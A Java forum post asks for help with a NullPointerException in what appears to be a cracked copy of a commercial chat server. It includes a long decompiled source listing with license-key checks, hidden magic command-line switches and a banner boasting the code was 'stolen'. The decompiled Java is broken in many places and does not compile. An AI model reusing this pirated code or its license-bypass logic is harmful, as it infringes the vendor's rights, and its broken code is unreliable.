Welcome to the Java Programming Forums


The professional, friendly Java community. 21,500 members and growing!


The Java Programming Forums are a community of Java programmers from all around the World. Our members have a wide range of skills and they all have one thing in common: A passion to learn and code Java. We invite beginner Java programmers right through to Java professionals to post here and share your knowledge. Become a part of the community, help others, expand your knowledge of Java and enjoy talking with like minded people. Registration is quick and best of all free. We look forward to meeting you.


>> REGISTER NOW TO START POSTING


Members have full access to the forums. Advertisements are removed for registered users.

Results 1 to 2 of 2

Thread: Exception in thread "main" java.lang.NullPointerException

  1. #1
    Junior Member
    Join Date
    May 2012
    Posts
    1
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Lightbulb Exception in thread "main" java.lang.NullPointerException

    Hello ,,
    What is the solution to this problem ?

    command:
    Java -cp Server.zip com.diginet.digichat.server.ChatServer

    error :
    This Chat Server Was Edited & Stolen By Valtros & Ryan.
    Chat Server may take 1 minute to load, Please be patient.
    Loading........ Please Wait..

    ChatServer Parameters: ports=8896,8897,8898,8899
    This server allows the following
    Unlimited sites
    Unlimited users
    Unlimited rooms
    Moderated Chat
    Commander Login
    Expires on: Fri Mar 07 00:00:00 EET 2200
    Exception in thread "main" java.lang.NullPointerException
    at com.diginet.digichat.server.ChatServer.<init>(Unkn own Source)
    at com.diginet.digichat.server.ChatServer.main(Unknow n Source)
    Press any key to continue . . .


    file source : com.diginet.digichat.server.ChatServer
    ---
    // Decompiled by DJ v3.11.11.95 Copyright 2009 Atanas Neshkov Date: 22/05/2012 11:50:22
    // Home Page: http://members.fortunecity.com/neshkov/dj.html DJ Java Decompiler - java disassembler decompiler and editor - Check often for new version!
    // Decompiler options: packimports(3)

    package com.diginet.digichat.server;

    import com.a.a.a;
    import com.diginet.digichat.common.Key;
    import com.diginet.digichat.common.SerialInfo;
    import com.diginet.oldchat.b.c;
    import com.diginet.oldchat.b.i;
    import com.diginet.oldchat.b.n;
    import com.diginet.oldchat.b.p;
    import com.diginet.oldchat.c.b;
    import com.diginet.oldchat.common.j;
    import com.diginet.oldchat.common.r;
    import com.diginet.oldchat.common.t;
    import com.diginet.oldchat.common.u;
    import com.diginet.oldchat.common.v;
    import com.diginet.oldchat.common.x;
    import com.diginet.oldchat.d.f;
    import com.diginet.oldchat.h.h;
    import com.diginet.oldchat.server.an;
    import com.diginet.oldchat.server.d;
    import com.diginet.oldchat.server.e;
    import com.diginet.oldchat.server.g;
    import com.diginet.oldchat.server.k;
    import com.diginet.oldchat.server.l;
    import com.diginet.oldchat.server.m;
    import com.juse.xmppserver.modules.server.BasicModule;
    import java.awt.FileDialog;
    import java.awt.Frame;
    import java.awt.Label;
    import java.io.BufferedReader;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.io.PrintStream;
    import java.io.RandomAccessFile;
    import java.net.InetAddress;
    import java.text.DateFormat;
    import java.util.Collection;
    import java.util.Date;
    import java.util.Iterator;
    import java.util.LinkedHashMap;
    import java.util.Map;
    import java.util.Properties;
    import java.util.StringTokenizer;
    import java.util.TimeZone;
    import java.util.Vector;
    import org.dom4j.Document;
    import org.dom4j.Element;
    import org.dom4j.io.SAXReader;

    public class ChatServer
    {

    public static void main(String args[])
    {
    Compiler.disable();
    int i1 = 20;
    boolean flag = false;
    Object obj;
    try
    {
    if(((File) (obj = new File(t_java_io_File_static_fld, "parameters"))).exists())
    {
    RandomAccessFile randomaccessfile;
    byte abyte0[] = new byte[(int)(randomaccessfile = new RandomAccessFile(((File) (obj)), "r")).length()];
    randomaccessfile.read(abyte0);
    if((abyte0 = new String(abyte0)) != "")
    {
    int l1 = (abyte0 = new StringTokenizer(abyte0)).countTokens();
    String args1[] = new String[args.length + l1];
    for(int i2 = 0; i2 < args.length; i2++)
    args1[i2] = args[i2];

    for(int j2 = 0; j2 < l1; j2++)
    args1[j2 + args.length] = abyte0.nextToken();

    args = args1;
    }
    }
    }
    catch(Exception exception) { }
    try
    {
    if((exception = new File(t_java_io_File_static_fld, "setup.txt")).exists())
    {
    FileInputStream fileinputstream = new FileInputStream(exception);
    q_java_util_Properties_static_fld.load(fileinputst ream);
    fileinputstream.close();
    exception.delete();
    }
    }
    catch(Exception _ex) { }
    com.diginet.oldchat.common.j.q(j.q_java_lang_Strin g_static_fld);
    for(int j1 = 0; j1 < args.length; j1++)
    {
    if("noconsole".equalsIgnoreCase(args[j1]))
    {
    flag = false;
    continue;
    }
    if("console".equalsIgnoreCase(args[j1]))
    {
    flag = true;
    continue;
    }
    if("debug".equalsIgnoreCase(args[j1]))
    {
    q_boolean_static_fld = true;
    continue;
    }
    if("P6374635362W346789954C888".equalsIgnoreCase(ar gs[j1]))
    {
    u_boolean_static_fld = true;
    continue;
    }
    if("R7463555288923W47220974219R8392kkl".equalsIgno reCase(args[j1]))
    {
    t_boolean_static_fld = true;
    continue;
    }
    if("digiposts".equalsIgnoreCase(args[j1]))
    {
    w_boolean_static_fld = true;
    continue;
    }
    if("keepHistory".equalsIgnoreCase(args[j1]))
    {
    x.q = true;
    continue;
    }
    if(args[j1].startsWith("timeout="))
    {
    try
    {
    i1 = Integer.parseInt(args[j1].substring(8));
    }
    catch(NumberFormatException numberformatexception)
    {
    System.err.println(args[j1].substring(8));
    }
    continue;
    }
    if(args[j1].startsWith("language="))
    {
    if((q_java_lang_String_static_fld = args[j1].substring(9)) == null)
    continue;
    try
    {
    File file = new File(t_java_io_File_static_fld, (new StringBuilder()).append("languages/").append(q_java_lang_String_static_fld).toString( ));
    new com.a.b.a(new a(new FileInputStream(file)));
    }
    catch(Exception exception1) { }
    continue;
    }
    if(args[j1].startsWith("P87252548743T34174379S23243:"))
    {
    String s1 = args[j1].substring(6);
    com.diginet.oldchat.common.j.q();
    com.diginet.oldchat.common.j.q(s1);
    continue;
    }
    if(args[j1].startsWith("out="))
    {
    try
    {
    System.setOut(new PrintStream(new FileOutputStream(args[j1].substring(4))));
    }
    catch(IOException ioexception) { }
    continue;
    }
    if(args[j1].startsWith("err="))
    {
    try
    {
    System.setErr(new PrintStream(new FileOutputStream(args[j1].substring(4))));
    }
    catch(IOException ioexception1) { }
    continue;
    }
    if(args[j1].startsWith("buffer="))
    {
    try
    {
    d.q = Integer.parseInt(args[j1].substring(7));
    }
    catch(NumberFormatException numberformatexception1)
    {
    System.err.println(args[j1].substring(7));
    }
    continue;
    }
    String s2;
    if(args[j1].startsWith("client="))
    i.q = (s2 = args[j1].substring(7)).split(",");
    }

    System.out.print("This Chat Server Was Edited & Stolen By Valtros & Ryan.\t\nChat Server may take 1 minute to load, Please be patient.\t\nLoading........ Please Wait..\n\t\nChatServer Parameters: ");
    for(int k1 = 0; k1 < args.length; k1++)
    System.out.print((new StringBuilder()).append(args[k1]).append(" ").toString());

    System.out.println("");
    if(p.q)
    flag = true;
    if(!q_boolean_static_fld)
    Compiler.enable();
    new ChatServer(flag, i1, null);
    }

    public static synchronized void m()
    {
    if(q_com_diginet_digichat_common_SerialInfo_static _fld == null)
    {
    System.out.println("The registration information of your system has been damaged.");
    System.out.println("Please contact your Administrator for more information.");
    return;
    }
    if(q_java_util_Vector_static_fld.size() <= 0)
    {
    e_int_static_fld = 1023;
    r_int_static_fld = 1;
    t_int_static_fld = 0;
    e_boolean_static_fld = false;
    r_boolean_static_fld = false;
    if(q_com_diginet_digichat_common_SerialInfo_static _fld.serialNumber == 0L && ((long)q_com_diginet_digichat_common_SerialInfo_st atic_fld.orderNumber << 9) - System.currentTimeMillis() < 0L)
    {
    System.out.println((new StringBuilder()).append("Your Chat demo expired on ").append(new Date((long)q_com_diginet_digichat_common_SerialInf o_static_fld.orderNumber << 9)).toString());
    System.out.println("Please log in as Admin and add a serial number.");
    return;
    }
    if(q_com_diginet_digichat_common_SerialInfo_static _fld.serialNumber != 0L && q_com_diginet_digichat_common_SerialInfo_static_fl d.getExpirationDate().getTime() - System.currentTimeMillis() < 0L)
    {
    System.out.println((new StringBuilder()).append("Your Chat temporary license expired on ").append(q_com_diginet_digichat_common_SerialInfo _static_fld.getExpirationDate()).toString());
    System.out.println("Please log in as Admin and add a license key.");
    return;
    } else
    {
    e_int_static_fld = 1023;
    r_int_static_fld = 5;
    t_int_static_fld = 3;
    e_boolean_static_fld = true;
    r_boolean_static_fld = false;
    return;
    }
    }
    e_int_static_fld = 1;
    r_int_static_fld = 1;
    t_int_static_fld = 0;
    e_boolean_static_fld = false;
    r_boolean_static_fld = false;
    w_java_util_Date_static_fld = new Date();
    Date date = new Date();
    for(int i1 = 0; i1 < q_java_util_Vector_static_fld.size(); i1++)
    {
    Key key;
    if((key = (Key)q_java_util_Vector_static_fld.elementAt(i1)). isValid() && key.isValid(q_com_diginet_digichat_common_SerialIn fo_static_fld.serialNumber) && date.before(key.getExpirationDate()))
    {
    int j1;
    if(e_int_static_fld != 1023)
    if((j1 = key.getSites()) == 1023)
    e_int_static_fld = 1023;
    else
    e_int_static_fld += j1;
    if(r_int_static_fld != 1023)
    if((j1 = key.getUsers()) == 1023)
    r_int_static_fld = 1023;
    else
    r_int_static_fld += j1;
    if(t_int_static_fld != 1023)
    if((j1 = key.getRooms()) == 1023)
    t_int_static_fld = 1023;
    else
    t_int_static_fld += j1;
    if(!e_boolean_static_fld)
    e_boolean_static_fld = key.isModeratedChatAllowed();
    if(!r_boolean_static_fld)
    r_boolean_static_fld = key.isCommanderAllowed();
    if(w_java_util_Date_static_fld.before(key.getExpir ationDate()))
    w_java_util_Date_static_fld = key.getExpirationDate();
    continue;
    }
    if(!q_boolean_static_fld)
    continue;
    if(date.before(key.getExpirationDate()))
    System.out.println((new StringBuilder()).append("Ignored key ").append(key.getKey()).append(" because it is invalid.").toString());
    else
    System.out.println((new StringBuilder()).append("Ignored key ").append(key.getKey()).append(" because it has expired.").toString());
    }

    }

    public static boolean q(long l1)
    {
    return l1 >= 0x400000000000000L;
    }

    private void e(com.diginet.oldchat.j.a a1)
    {
    switch(a1.q())
    {
    case 67337:
    q(a1, true);
    return;

    case 67842:
    a1 = a1;
    this = this;
    y_java_io_File_fld = new File(a1.q(0, 0));
    r_java_io_File_fld = new File(y_java_io_File_fld, (new StringBuilder()).append("DigiClasses").append(File .separator).append("Resources").toString());
    long l1 = a1.q(0, 0);
    q_com_diginet_oldchat_common_r_fld = a1.q(0, 0);
    if(q_com_diginet_oldchat_common_r_fld == null)
    q_com_diginet_oldchat_common_r_fld = new r("DigiChat");
    long _tmp = l1;
    break;
    }
    }

    public static Date q()
    {
    return w_java_util_Date_static_fld;
    }

    public static com.diginet.oldchat.j.a q()
    {
    SerialInfo serialinfo = q_com_diginet_digichat_common_SerialInfo_static_fl d;
    com.diginet.oldchat.server.g.j();
    (a1 = new com.diginet.oldchat.j.a(0x1070a, 1)).q(0, 0, serialinfo.name);
    return a1;
    }

    public static int q()
    {
    return t_int_static_fld;
    }

    public static int w()
    {
    return e_int_static_fld;
    }

    public static int e()
    {
    return r_int_static_fld;
    }

    private final void s()
    {
    this = new File(w_java_io_File_fld, "registration.digi");
    try
    {
    if(exists())
    {
    a(this = new ObjectInputStream(new FileInputStream(this)));
    Object obj;
    if((obj = readObject()) instanceof SerialInfo)
    q_com_diginet_digichat_common_SerialInfo_static_fl d = (SerialInfo)obj;
    else
    if((q_com_diginet_digichat_common_SerialInfo_stati c_fld = null) == null)
    System.err.println("Unexpected registration data");
    q_java_util_Date_static_fld = q_com_diginet_digichat_common_SerialInfo_static_fl d.getExpirationDate();
    if(q_com_diginet_digichat_common_SerialInfo_static _fld.serialNumber == 0L)
    {
    q_java_util_Date_static_fld = new Date((long)q_com_diginet_digichat_common_SerialInf o_static_fld.orderNumber << 9);
    } else
    {
    if(!q_com_diginet_digichat_common_SerialInfo_stati c_fld.isValid())
    {
    System.out.println("Invalid Registration Information");
    throw new Exception();
    }
    try
    {
    for(Object obj2 = readObject(); obj2 != null; obj2 = readObject())
    {
    Key key;
    if(obj2 instanceof Key)
    key = (Key)obj2;
    else
    key = digi.digichat.ChatServer.q(obj2);
    if(key != null && key.isValid(q_com_diginet_digichat_common_SerialIn fo_static_fld.serialNumber) && q_java_util_Vector_static_fld.indexOf(key) == -1 && System.currentTimeMillis() <= key.getExpirationDate().getTime())
    q_java_util_Vector_static_fld.addElement(key);
    }

    }
    catch(IOException ioexception) { }
    }
    close();
    }
    }
    // Misplaced declaration of an exception variable
    catch(ChatServer this)
    {
    System.out.println("The Chat was unable to read your registration information.");
    System.out.println("You will need to re-enter this information.\n");
    }
    if(q_com_diginet_digichat_common_SerialInfo_static _fld == null)
    {
    this = q_java_util_Properties_static_fld.getProperty("com panyName");
    if("".equals(this) || this == null)
    this = "Evaluation Copy";
    int i1 = 0;
    try
    {
    String s1 = q_java_util_Properties_static_fld.getProperty("ser ialNum");
    if("".equals(s1) || s1 == null)
    s1 = "0";
    String s3 = q_java_util_Properties_static_fld.getProperty("ord erNum");
    if(!"".equals(s3) && s3 != null)
    i1 = Integer.parseInt(s3);
    if(!(q_com_diginet_digichat_common_SerialInfo_stat ic_fld = new SerialInfo(this, s1, i1)).isValid())
    {
    q_com_diginet_digichat_common_SerialInfo_static_fl d = null;
    } else
    {
    Object obj1 = q_java_util_Properties_static_fld.getProperty("ord erSerial");
    if("".equals(obj1) || obj1 == null)
    obj1 = "0";
    String s2 = q_java_util_Properties_static_fld.getProperty("ord erKey");
    if("".equals(s2) || s2 == null)
    s2 = "0";
    try
    {
    if(((Key) (obj1 = new Key(s2, ((String) (obj1))))).isValid(q_com_diginet_digichat_common_S erialInfo_static_fld.serialNumber) && q_java_util_Vector_static_fld.indexOf(obj1) == -1 && System.currentTimeMillis() <= ((Key) (obj1)).getExpirationDate().getTime())
    q_java_util_Vector_static_fld.addElement(obj1);
    }
    catch(Exception _ex) { }
    }
    q_java_util_Date_static_fld = q_com_diginet_digichat_common_SerialInfo_static_fl d.getExpirationDate();
    }
    catch(Exception _ex)
    {
    q_com_diginet_digichat_common_SerialInfo_static_fl d = null;
    }
    if(q_com_diginet_digichat_common_SerialInfo_static _fld == null)
    {
    q_com_diginet_digichat_common_SerialInfo_static_fl d = new SerialInfo(this, 0L, (int)(System.currentTimeMillis() + 0xf731400L >> 9));
    q_java_util_Date_static_fld = new Date((long)q_com_diginet_digichat_common_SerialInf o_static_fld.orderNumber << 9);
    }
    }
    }

    private com.diginet.oldchat.j.a t()
    {
    com.diginet.oldchat.j.a a1;
    (a1 = new com.diginet.oldchat.j.a(0x10902, 1)).q(0, 0, y_java_io_File_fld.getAbsolutePath());
    a1.q(0, 0, 0x400030040000001L);
    a1.q(0, 0, q_com_diginet_oldchat_common_r_fld);
    return a1;
    }

    public final com.diginet.oldchat.j.a w()
    {
    com.diginet.oldchat.j.a a1;
    (a1 = new com.diginet.oldchat.j.a(0x10b01, 1)).q(0, 0, e_java_util_Date_fld.getTime());
    a1.q(0, 2, Thread.activeCount());
    a1.q(0, 3, w_int_fld);
    a1.q(0, 0, y_java_io_File_fld.toString());
    a1.q(0, 4, Runtime.getRuntime().totalMemory());
    return a1;
    }

    public static int a(ObjectInputStream objectinputstream)
    {
    try
    {
    return ((Integer)objectinputstream.readObject()).intValue ();
    }
    // Misplaced declaration of an exception variable
    catch(ObjectInputStream objectinputstream)
    {
    throw new IOException(objectinputstream.getMessage());
    }
    }

    public final com.diginet.oldchat.j.a e()
    {
    try
    {
    int i1 = q_com_diginet_oldchat_b_c_fld.q();
    com.diginet.oldchat.j.a a1 = new com.diginet.oldchat.j.a(0x10709, i1);
    int j1 = 0;
    Integer ainteger[];
    int k1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
    for(int l1 = 0; l1 < k1; l1++)
    {
    int i2 = ainteger[l1].intValue();
    m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(i2);
    a1.q(j1, 0, m1.q());
    a1.q(j1, 1, ((v) (m1)).q_int_fld);
    a1.q(j1, 2, ((v) (m1)).r);
    a1.q(j1, 0, m1.q());
    a1.q(j1, m1.q());
    a1.q(j1, 3, m1.r);
    a1.q(j1, 5, m1.t_int_fld);
    a1.q(j1, 6, m1.y);
    a1.q(j1, 1, m1.w);
    a1.q(j1, 2, m1.q_java_lang_String_fld);
    j1++;
    }

    return a1;
    }
    catch(Exception exception)
    {
    throw new IOException(exception.getMessage());
    }
    }

    public final com.diginet.oldchat.j.a r()
    {
    try
    {
    int i1 = q_com_diginet_oldchat_b_c_fld.q();
    com.diginet.oldchat.j.a a1 = new com.diginet.oldchat.j.a(0x10b00, i1);
    int j1 = 0;
    Integer ainteger[];
    int k1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
    for(int l1 = 0; l1 < k1; l1++)
    {
    int i2 = ainteger[l1].intValue();
    m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(i2);
    a1.q(j1, 0, m1.q());
    a1.q(j1, 1, m1.q_com_diginet_oldchat_b_c_fld.q());
    a1.q(j1, 2, ((v) (m1)).w_int_fld);
    a1.q(j1, 3, ((v) (m1)).e_int_fld);
    a1.q(j1, 4, ((v) (m1)).q_long_fld);
    a1.q(j1, 6, ((v) (m1)).w_long_fld);
    a1.q(j1, 8, ((v) (m1)).e_long_fld);
    a1.q(j1, 10, m1.r);
    a1.q(j1, 12, m1.t_int_fld);
    a1.q(j1, 13, m1.y);
    a1.q(j1, 0, m1.w);
    j1++;
    }

    return a1;
    }
    catch(Exception exception)
    {
    throw new IOException(exception.getMessage());
    }
    }

    public final int r()
    {
    int i1 = 0;
    synchronized(q_com_diginet_oldchat_b_c_fld)
    {
    Integer ainteger[];
    int j1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
    for(int k1 = 0; k1 < j1; k1++)
    {
    int l1 = ainteger[k1].intValue();
    m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(l1);
    i1 += m1.r();
    }

    }
    break MISSING_BLOCK_LABEL_81;
    this;
    throw this;
    return i1;
    }

    public void f()
    {
    if(p.q)
    {
    e e1 = new e();
    try
    {
    synchronized(e1.q)
    {
    e1.q.wait();
    }
    }
    catch(InterruptedException _ex) { }
    q_java_lang_String_array1d_fld = e1.q();
    } else
    {
    System.out.println("\n\nPlease enter DigiPosts settings.");
    BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(System.in));
    System.out.print("Please enter database username: ");
    try
    {
    q_java_lang_String_array1d_fld[0] = bufferedreader.readLine();
    }
    catch(Exception _ex) { }
    System.out.print("Please enter database password: ");
    try
    {
    q_java_lang_String_array1d_fld[1] = bufferedreader.readLine();
    }
    catch(Exception _ex) { }
    System.out.print("Please enter database URL: ");
    try
    {
    q_java_lang_String_array1d_fld[2] = bufferedreader.readLine();
    }
    catch(Exception _ex) { }
    System.out.print("Please enter database driver: ");
    try
    {
    q_java_lang_String_array1d_fld[3] = bufferedreader.readLine();
    }
    catch(Exception _ex) { }
    }
    System.out.println();
    }

    public void g()
    {
    com.diginet.oldchat.common.p p1;
    if(!w_java_io_File_fld.exists())
    w_java_io_File_fld.mkdirs();
    p1 = new com.diginet.oldchat.common.p(new File(w_java_io_File_fld, "digipost.digi"), e_java_io_File_fld, true);
    com.diginet.oldchat.j.a a1;
    (a1 = new com.diginet.oldchat.j.a(0x3010d00, 1)).q(0, 0, new r(q_java_lang_String_array1d_fld[1]));
    a1.q(0, 0, q_java_lang_String_array1d_fld[0]);
    a1.q(0, 1, q_java_lang_String_array1d_fld[2]);
    a1.q(0, 2, q_java_lang_String_array1d_fld[3]);
    p1.q(a1);
    p1.q();
    return;
    this;
    p1.q();
    throw this;
    }

    public static File t()
    {
    BufferedReader bufferedreader;
    if(p.q)
    {
    Object obj;
    String s1;
    do
    {
    obj = new Frame();
    (new h(((Frame) (obj)), "Note", "The Chat Applet must be installed to your web server root directory. The web server root is the directory where your HTML files are made available to users on the web.", null)).setVisible(true);
    if(p.q)
    obj = new FileDialog(((Frame) (obj)), "Select web server root.", 3);
    else
    obj = new FileDialog(((Frame) (obj)), "Select web server root.", 1);
    ((FileDialog) (obj)).setFile("DigiChat_Applet");
    ((FileDialog) (obj)).show();
    } while((s1 = ((FileDialog) (obj)).getDirectory()) == null);
    return new File(((FileDialog) (obj)).getDirectory());
    }
    System.out.println("The Chat Applet must be installed to your web server root directory.");
    System.out.println("The web server root is the directory where your HTML files are made available to users on the web.");
    System.out.println("Please enter the complete path:");
    if(p.q)
    System.out.print("(e.g., /Macintosh HD/WebStar).");
    else
    if(p.w)
    System.out.print("(e.g., C:\\InetPub\\wwwroot\\).");
    else
    System.out.print("(e.g., /home/httpd/html/).");
    bufferedreader = new BufferedReader(new InputStreamReader(System.in));
    _L2:
    System.out.print(">");
    File file;
    if((file = new File(bufferedreader.readLine())).exists() && file.isDirectory())
    return file;
    try
    {
    System.out.println("");
    System.out.println("The specified directory could not be found.");
    System.out.println("Please re-enter your web server root directory.");
    }
    catch(IOException _ex)
    {
    System.out.println("An error occurred processing your input.");
    System.out.println();
    }
    if(true) goto _L2; else goto _L1
    _L1:
    }

    public final int[] q(int i1)
    {
    int ai[];
    int j1;
    Integer ainteger[];
    int k1;
    int l1;
    try
    {
    if(i1 < 0)
    return new int[0];
    }
    catch(Exception exception)
    {
    throw new IOException(exception.getMessage());
    }
    ai = new int[3];
    j1 = 0;
    _L2:
    if(j1 >= ai.length)
    break MISSING_BLOCK_LABEL_133;
    k1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
    l1 = 0;
    _L1:
    if(l1 >= k1)
    break MISSING_BLOCK_LABEL_111;
    int i2 = ainteger[l1].intValue();
    m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(i2);
    if(i1 == m1.q())
    {
    ai[0] = m1.q_com_diginet_oldchat_b_c_fld.q();
    ai[1] = ((v) (m1)).w_int_fld;
    ai[2] = ((v) (m1)).e_int_fld;
    return ai;
    }
    l1++;
    goto _L1
    j1++;
    goto _L2
    return new int[0];
    }

    public final int t()
    {
    int i1 = 0;
    Integer ainteger[];
    int j1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
    for(int k1 = 0; k1 < j1; k1++)
    {
    int l1 = ainteger[k1].intValue();
    m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(l1);
    i1 += m1.q_com_diginet_oldchat_b_c_fld.q();
    }

    return i1;
    }

    public final c q()
    {
    return q_com_diginet_oldchat_b_c_fld;
    }

    public static boolean q()
    {
    return r_boolean_static_fld;
    }

    public static boolean w()
    {
    return e_boolean_static_fld;
    }

    public final void q(com.diginet.oldchat.j.a a1)
    {
    a1 = a1.q(0, 0);
    if((obj = (m)q_com_diginet_oldchat_b_c_fld.q(a1)) == null)
    {
    com.juse.a.e.w("Site is null. Trying to load from file.");
    (a1 = new m(a1, "no name", 100, this)).y();
    return;
    }
    synchronized(q_com_diginet_oldchat_b_c_fld)
    {
    q_com_diginet_oldchat_b_c_fld.q(((com.diginet.oldc hat.b.o) (obj)));
    }
    break MISSING_BLOCK_LABEL_76;
    this;
    throw this;
    (a1 = new m(((m) (obj)).q(), ((m) (obj)).q(), ((m) (obj)).q_int_fld, this)).q(((m) (obj)).q());
    a1.r = ((v) (obj)).r;
    ((m) (obj)).q();
    q().q(a1);
    System.out.println((new StringBuilder()).append("Site ").append(a1.toString()).append(" has been restarted.").toString());
    synchronized(q_com_diginet_oldchat_b_c_fld)
    {
    q_com_diginet_oldchat_b_c_fld.q(a1, a1.q(), a1.q());
    a1.y();
    }
    break MISSING_BLOCK_LABEL_199;
    this;
    throw this;
    }

    public final void q(com.diginet.oldchat.j.a a1, boolean flag)
    {
    for(int i1 = 0; i1 < a1.w(); i1++)
    {
    int j1 = a1.q(i1, 0);
    Object obj = (m)q_com_diginet_oldchat_b_c_fld.q(j1);
    if(a1.q(i1, 63))
    {
    q_com_diginet_oldchat_b_c_fld.w(j1);
    com.juse.a.e.w((new StringBuilder()).append("Site Removed. Site:").append(obj).toString());
    if(obj != null)
    {
    ((m) (obj)).q();
    j1 = ((int) (obj));
    ((com.juse.xmppserver.a.a.a.a) (obj = new com.juse.xmppserver.a.a.a.a())).w(j1);
    }
    continue;
    }
    if(obj == null)
    {
    if(e_int_static_fld == 1023 || q_com_diginet_oldchat_b_c_fld.q() < e_int_static_fld || j1 == 0)
    {
    obj = new m(j1, a1.q(i1, 0), a1.q(i1, 1), this);
    j1 = q_com_diginet_oldchat_b_c_fld.q(obj, j1, ((m) (obj)).q());
    com.juse.a.e.w((new StringBuilder()).append("Added new site:").append(obj).toString());
    a1.q(i1, 0, j1);
    ((m) (obj)).q(a1.q(i1));
    obj.t_long_fld = a1.q(i1);
    if(w_boolean_static_fld)
    {
    obj.r = 1023;
    } else
    {
    obj.r = a1.q(i1, 2);
    if(((v) (obj)).r == 0)
    obj.r = 1023;
    }
    if(j1 == 0)
    q_com_diginet_oldchat_server_m_fld = ((m) (obj));
    obj.r = a1.q(i1, 3);
    obj.t_int_fld = a1.q(i1, 5);
    obj.y = a1.q(i1, 6);
    obj.w = a1.q(i1, 1);
    if(!flag)
    obj.q_java_lang_String_fld = a1.q(i1, 2);
    b b1;
    if(((m) (obj)).t_int_fld > 0 && q().q())
    (b1 = new b()).q(((m) (obj)));
    }
    } else
    {
    com.juse.a.e.w((new StringBuilder()).append("Updated Site:").append(obj).toString());
    ((m) (obj)).q(a1.q(i1, 0));
    ((m) (obj)).q(a1.q(i1));
    obj.q_int_fld = a1.q(i1, 1);
    if(w_boolean_static_fld)
    {
    obj.r = 1023;
    } else
    {
    obj.r = a1.q(i1, 2);
    if(((v) (obj)).r == 0)
    obj.r = 1023;
    }
    obj.r = a1.q(i1, 3);
    obj.t_int_fld = a1.q(i1, 5);
    obj.y = a1.q(i1, 6);
    obj.w = a1.q(i1, 1);
    if(!flag)
    obj.q_java_lang_String_fld = a1.q(i1, 2);
    b b2;
    if(((m) (obj)).t_int_fld > 0)
    (b2 = new b()).q(((m) (obj)));
    }
    com.juse.xmppserver.a.a.a.a.e(((com.diginet.oldcha t.common.a) (obj)));
    com.diginet.oldchat.server.c c2 = new com.diginet.oldchat.server.c();
    if(!w_boolean_static_fld || !a1.q(i1, 56) || c2.q(j1) || j1 == 0 || a1.q(-1, 56))
    continue;
    System.out.print((new StringBuilder()).append("Creating site ID ").append(j1).append(" in DigiPosts.... ").toString());
    if(c2.q(j1, q_com_diginet_oldchat_server_m_fld.w(), a1.q(i1, 0), "Created by Chat"))
    System.out.println("created!");
    else
    System.out.println("error!");
    }

    if(e_int_static_fld != 1023)
    q_com_diginet_oldchat_b_c_fld.q();
    break MISSING_BLOCK_LABEL_723;
    a1;
    throw a1;
    if(i)
    {
    synchronized(q_com_diginet_oldchat_b_c_fld)
    {
    Integer ainteger[];
    int k1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
    for(int l1 = 0; l1 < k1; l1++)
    {
    a1 = ainteger[l1].intValue();
    a1 = (m)q_com_diginet_oldchat_b_c_fld.q(a1);
    q().q(a1);
    a1.y();
    }

    }
    return;
    } else
    {
    return;
    }
    }

    public boolean i()
    {
    Object obj;
    if(((File) (obj = new File(w_java_io_File_fld, "digipost.digi"))).exists() && ((com.diginet.oldchat.common.p) (obj = new com.diginet.oldchat.common.p(((File) (obj)), e_java_io_File_fld, false))).q() == 1)
    {
    obj = ((com.diginet.oldchat.common.p) (obj)).q(0);
    q_java_lang_String_array1d_fld[1] = ((com.diginet.oldchat.j.a) (obj)).q(0, 0).toString();
    q_java_lang_String_array1d_fld[0] = ((com.diginet.oldchat.j.a) (obj)).q(0, 0);
    q_java_lang_String_array1d_fld[2] = ((com.diginet.oldchat.j.a) (obj)).q(0, 1);
    q_java_lang_String_array1d_fld[3] = ((com.diginet.oldchat.j.a) (obj)).q(0, 2);
    return true;
    } else
    {
    return false;
    }
    }

    public void j()
    {
    Object obj;
    if(((File) (obj = new File(w_java_io_File_fld, "settings.digi"))).exists())
    {
    int i1 = ((com.diginet.oldchat.common.p) (obj = new com.diginet.oldchat.common.p(((File) (obj)), e_java_io_File_fld, false))).q();
    for(int j1 = 0; j1 < i1; j1++)
    e(((com.diginet.oldchat.common.p) (obj)).q(j1));

    } else
    {
    String s1 = q_java_util_Properties_static_fld.getProperty("web root");
    Object obj1;
    if(!"".equals(s1) && s1 != null && ((File) (obj1 = new File(s1))).exists())
    {
    y_java_io_File_fld = new File(((File) (obj1)), "DigiChat");
    r_java_io_File_fld = new File(y_java_io_File_fld, (new StringBuilder()).append("DigiClasses").append(File .separator).append("Resources").toString());
    y_boolean_static_fld = true;
    }
    ((com.diginet.oldchat.j.a) (obj1 = new com.diginet.oldchat.j.a(0x10709, 1))).q(0, 0, "Default");
    ((com.diginet.oldchat.j.a) (obj1)).q(0, 0, 1000);
    ((com.diginet.oldchat.j.a) (obj1)).q(0, 1, 0);
    e(((com.diginet.oldchat.j.a) (obj1)));
    }
    if(!q_com_diginet_oldchat_b_c_fld.q(0))
    {
    com.diginet.oldchat.j.a a1;
    (a1 = new com.diginet.oldchat.j.a(0x10709, 1)).q(0, 0, "Admin");
    a1.q(0, 0, 0);
    a1.q(0, 1, 1);
    e(a1);
    }
    }

    public static Vector q()
    {
    return q_java_util_Vector_static_fld;
    }

    private void w()
    {
    m();
    if(!w_java_io_File_fld.exists())
    w_java_io_File_fld.mkdirs();
    this = new File(w_java_io_File_fld, "registration.digi");
    ChatServer chatserver;
    (chatserver = this = new ObjectOutputStream(new FileOutputStream(this))).writeObject(new Integer(18));
    if(q_com_diginet_digichat_common_SerialInfo_static _fld != null)
    {
    writeObject(q_com_diginet_digichat_common_SerialIn fo_static_fld);
    for(int i1 = 0; i1 < q_java_util_Vector_static_fld.size(); i1++)
    {
